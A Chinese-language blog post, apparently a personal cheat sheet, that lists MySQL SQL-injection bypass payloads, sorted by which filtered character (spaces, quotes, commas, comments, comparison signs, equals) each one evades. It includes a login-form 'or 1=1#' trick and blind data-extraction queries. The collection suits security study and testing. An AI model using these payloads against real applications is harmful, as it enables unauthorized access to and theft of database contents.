SQL Injection Bypass
每次去找零散的 bypass 很麻烦,而且网上一些 bypass 语句并未做完整说明,想着不如自己搞一份 bypass 文档好了(这个文档会持续更新,一点点累积起来)
MYSQL
过滤空格
-
使用注释符
/**/1
select * from testtable where name = '' union/**/ select 1,2,3,version() #';
-
使用空白字符
1
%0a %09 %0c %a0 %0b %0d %20
-
使用浮点数
1
2
3
4select * from testtable where id = 1E0union select 1,2,3,4;
select * from testtable where id = 1.0union select 1,2,3,4;
select * from testtable where id = 1.union select 1,2,3,4;
select * from testtable where id = .1union select 1,2,3,4;本身感觉不存在这种规则场景下的 bypass,就当了解一下吧;核心原理是数据库在执行 SQL 语句前,会先进行词法分析,其能够准确的识别数字并且自动截断(数字中不能包含字母),即便中间没有空格
-
使用
\N\N相当于 NULL 字符1
select * from testtable where id = \Nunion select 1,2,3,4;
-
使用括号
1
2
3select * from testtable where name = ''or(if((ascii(substr(database(),1,1))>90),1,0))#';
select * from testtable where name = ''or(if((ascii(substr(database()from(1)for(1)))>90),1,0))#';
select * from testtable where name = ''or(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>97)#';
过滤引号
-
使用进制编码
一般用于后面包含表名字段名时
1
2
3
4# 16进制
select * from testtable where name = 0x426f62;
# 2进制
select * from testtable where name = 0b010000100110111101100010; -
登录框特定场景下
这不是绕过,一个小技巧,也顺便总结在这里
1
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
可以构造
1
select * from users where username='admin\' and password='or 1=1#';

过滤逗号
-
使用 from 关键字
配合
substr()mid()1
select * from testtable where name = ''or(if((ascii(substr(database() from 1 for 1))>90),1,0))#';
-
使用 join 关键字
配合
union select,多少个字段就连接多少个表1
select * from testtable where name = '' union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d#';
-
使用 like 关键字
1
2select ascii(mid(database(),1,1))=98;
select database() like 't%'; # 返回1或0感觉有点鸡肋,如果其他关键字没被过滤也用不到 like,其他关键字过滤了也不能只用 like 去注入
-
使用 offset 关键字
配合 limit
1
2select * from testtable limit 0,1;
select * from testtable limit 1 offset 0;
过滤注释符
MySQL 包含单行注释符:# -- 两个短横线+空格,多行注释符:/**/
由于 SQL 注入的本质就是闭合语句,这里我们也用同样的思维
1 | select * from testtable where name = '1' union select 1,2,3,4''; |

过滤 > <
-
使用
greatest()返回最大值,least()返回最小值1
2select * from testtable where name = '1' || ascii(substr(database(),1,1))>97#';
select * from testtable where name = '1' || greatest(ascii(substr(database(),1,1)),97)=116#';
显然和 ASCII 做比较的值最好尽可能的小,以防有特殊字符;对于二分法取32就好
-
使用
between and这里是包含 116 的

过滤=
-
使用
like模糊匹配
1
select * from testtable where name like 'B%';
-
使用
rlikeregexp正则表达式匹配,这两个函数用法上没有区别的
1
2select * from testtable where name rlike 'B.*';
select * from testtable where name regexp 'B.*'; -
使用
in1
select * from testtable where name in ('Bob');
-
使用
!<><>等价于!=1
select * from testtable where !(name <> 'Bob');

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 晚城的海岸线!
评论







